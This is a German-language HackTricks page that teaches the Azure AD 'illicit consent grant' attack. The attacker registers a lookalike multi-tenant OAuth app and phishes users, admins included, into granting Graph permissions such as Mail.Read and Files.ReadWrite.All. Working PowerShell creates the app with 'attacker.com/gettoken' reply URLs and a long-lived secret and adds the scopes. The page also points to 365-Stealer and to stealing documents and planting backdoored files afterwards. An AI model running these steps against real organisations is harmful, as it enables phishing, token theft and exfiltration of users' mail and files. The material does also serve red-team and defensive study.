German - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Illicit Consent Grant

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

OAuth-App-Phishing

Azure-Anwendungen fordern Berechtigungen zum Zugriff auf die Benutzerdaten an (Grundlegende Informationen, aber auch Zugriff auf Dokumente, Senden von E-Mails...). Wenn zugelassen, kann ein normaler Benutzer nur die Zustimmung für "geringe Auswirkungen" Berechtigungen erteilen. In allen anderen Fällen ist Administratorzustimmung erforderlich. GA, ApplicationAdministrator, CloudApplication Administrator und eine benutzerdefinierte Rolle, die Berechtigung zum Erteilen von Berechtigungen an Anwendungen enthält, können eine mandantenweite Zustimmung erteilen.

Nur Berechtigungen, die keine Administratorzustimmung erfordern, werden als geringe Auswirkungen eingestuft. Diese Berechtigungen sind für die grundlegende Anmeldung erforderlich: openid, Profil, E-Mail, User.Read und offline_access. Wenn eine Organisation die Benutzerzustimmung für alle Apps zulässt, kann ein Mitarbeiter einer App die Zustimmung erteilen, um die oben genannten Informationen aus seinem Profil zu lesen.

Daher könnte ein Angreifer eine bösartige App vorbereiten und mit einem Phishing den Benutzer dazu bringen, die App zu akzeptieren und seine Daten zu stehlen.

2 Arten von Illegitimen Zustimmungserteilungsangriffen

  • Nicht authentifiziert: Erstellen Sie von einem externen Konto aus eine Anwendung mit den Berechtigungen User.Read und User.ReadBasic.All und fischen Sie beispielsweise einen Benutzer ab, um auf Verzeichnisinformationen zugreifen zu können.

  • Dies erfordert, dass der gefischte Benutzer OAuth-Apps aus externen Umgebungen akzeptieren kann!

  • Authentifiziert: Nachdem ein Hauptkonto mit ausreichenden Berechtigungen kompromittiert wurde, erstellen Sie eine Anwendung im Konto und fischen Sie einen privilegierten Benutzer ab, der privilegierte OAuth-Berechtigungen akzeptieren kann.

  • In diesem Fall können Sie bereits auf die Informationen des Verzeichnisses zugreifen, daher ist die Berechtigung User.ReadBasic.All nicht mehr interessant.

  • Sie sind wahrscheinlich an Berechtigungen interessiert, für die ein Administrator sie erteilen muss, da ein normaler Benutzer OAuth-Apps keine Berechtigung erteilen kann. Deshalb müssen Sie nur diese Benutzer fischen (mehr dazu, welche Rollen/Berechtigungen dieses Privileg gewähren, später)

Überprüfen, ob Benutzer Zustimmung erteilen dürfen

Der folgende PowerShell-Befehl wird verwendet, um die Zustimmungskonfiguration für Benutzer in Azure Active Directory (Azure AD) in Bezug auf ihre Fähigkeit zur Zustimmung zu Anwendungen zu überprüfen:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

  • Deaktivieren der Benutzerzustimmung: Diese Einstellung verbietet Benutzern, Berechtigungen an Anwendungen zu erteilen. Es ist keine Benutzerzustimmung zu Anwendungen erlaubt.

  • Benutzer können Apps von verifizierten Herausgebern oder Ihrer Organisation zustimmen, jedoch nur für ausgewählte Berechtigungen: Diese Einstellung erlaubt allen Benutzern nur die Zustimmung zu Anwendungen, die von einem verifizierten Herausgeber veröffentlicht wurden und Anwendungen, die in Ihrem eigenen Mandanten registriert sind. Es fügt eine Kontrollebene hinzu, indem nur für spezifische Berechtigungen Zustimmung erteilt werden kann.

  • Benutzer können allen Apps zustimmen: Diese Einstellung ist großzügiger und erlaubt allen Benutzern, jeder Anwendung zuzustimmen, solange diese Berechtigungen keine administrative Zustimmung erfordern.

  • Benutzerdefinierte App-Zustimmungsrichtlinie: Diese Einstellung zeigt an, dass eine benutzerdefinierte Richtlinie vorhanden ist, die an spezifische organisatorische Anforderungen angepasst werden kann und möglicherweise eine Kombination von Einschränkungen basierend auf dem App-Herausgeber, den angeforderten Berechtigungen der App und anderen Faktoren beinhaltet.

Verständnis des Angriffs durch illegitime Zustimmung

Bei einem Angriff durch illegitime Zustimmung täuschen Angreifer Endbenutzer dazu, Berechtigungen für eine bösartige Anwendung zu erteilen, die bei Azure registriert ist. Dies geschieht, indem die Anwendung als legitim erscheint und Opfer unwissentlich auf eine Schaltfläche "Akzeptieren" klicken. Als Ergebnis stellt Azure AD einem Angreifer eine Token aus, die es ihnen ermöglichen, auf die Daten des Opfers zuzugreifen und diese zu manipulieren, wie beispielsweise das Lesen oder Senden von E-Mails und der Zugriff auf Dateien, ohne ein organisatorisches Konto zu benötigen.

Überblick über den Angriffsablauf

Der Angriff umfasst mehrere Schritte, die auf ein generisches Unternehmen abzielen. So könnte er sich entfalten:

  1. Domainregistrierung und Anwendungshosting: Der Angreifer registriert eine Domain, die einer vertrauenswürdigen Website ähnelt, z. B. "sicheredomainanmeldung.com". Unter dieser Domain wird ein Subdomain erstellt (z. B. "firmenname.sicheredomainanmeldung.com"), um eine Anwendung zu hosten, die dazu dient, Autorisierungscodes zu erfassen und Zugriffstoken anzufordern.

  2. Anwendungsregistrierung in Azure AD: Der Angreifer registriert dann eine Multi-Tenant-Anwendung in seinem Azure AD-Mandanten, benennt sie nach dem Zielunternehmen, um legitim zu erscheinen. Sie konfigurieren die Redirect-URL der Anwendung so, dass sie auf die Subdomain zeigt, auf der die bösartige Anwendung gehostet wird.

  3. Einrichten von Berechtigungen: Der Angreifer richtet die Anwendung mit verschiedenen API-Berechtigungen ein (z. B. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Diese Berechtigungen ermöglichen es dem Angreifer, im Namen des Benutzers sensible Informationen abzurufen, sobald sie vom Benutzer erteilt wurden.

  4. Verteilen von bösartigen Links: Der Angreifer erstellt einen Link, der die Client-ID der bösartigen Anwendung enthält, und teilt ihn mit gezielten Benutzern, um sie zur Zustimmung zu verleiten.

Verwendung von Tools für den Angriff

Der Angriff kann mithilfe von Tools wie 365-Stealer erleichtert werden.

Vorbereitung vor dem Angriff:

Wenn der Angreifer auf irgendeiner Ebene Zugriff auf einen Benutzer in der Opferorganisation hat, könnte er überprüfen, ob die Richtlinie der Organisation es dem Benutzer erlaubt, Apps zu akzeptieren:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Um den Angriff auszuführen, müsste der Angreifer eine neue App in seinem Azure-Mandanten (in App-Registrierungen) erstellen, konfiguriert mit den Berechtigungen:

User.ReadBasic.All befindet sich in Microsoft Graph unter Delegated permissions. (Anwendungsrechte erfordern immer zusätzliche Genehmigungen).

  • User.ReadBasic.All ist die Berechtigung, die es Ihnen ermöglicht, Informationen aller Benutzer in der Organisation zu lesen, wenn sie gewährt wird.

  • Denken Sie daran, dass nur GA, ApplicationAdministrator, CloudApplication Administrator und eine benutzerdefinierte Rolle, die Berechtigung zum Gewähren von Berechtigungen an Anwendungen enthält, eine mandantenweite Zustimmung erteilen können. Daher sollten Sie versuchen, einen Benutzer mit einer dieser Rollen zu phishen, wenn Sie möchten, dass er eine App genehmigt, die Administratorzustimmung erfordert.

Sie könnten auch eine App über die Befehlszeile erstellen mit:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Überprüfen Sie https://www.alteredsecurity.com/post/introduction-to-365-stealer, um zu erfahren, wie Sie es konfigurieren können.

Beachten Sie, dass das erhaltene Zugriffstoken für den Graph-Endpunkt mit den Berechtigungen User.Read und User.ReadBasic.All (die angeforderten Berechtigungen) sein wird. Sie können keine anderen Aktionen ausführen (aber diese reichen aus, um Informationen über alle Benutzer in der Organisation herunterzuladen).

O365-Attack-Toolkit

Sie könnten auch dieses Tool verwenden, um diesen Angriff durchzuführen.

Post-Exploitation

Sobald Sie Zugriff auf den Benutzer haben, können Sie Dinge wie das Stehlen sensibler Dokumente und sogar das Hochladen von Backdoored-Dokumentdateien tun.

References

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

PreviousAz - Unauthenticated Enum & Initial EntryNextAz - Device Code Authentication Phishing

Last updated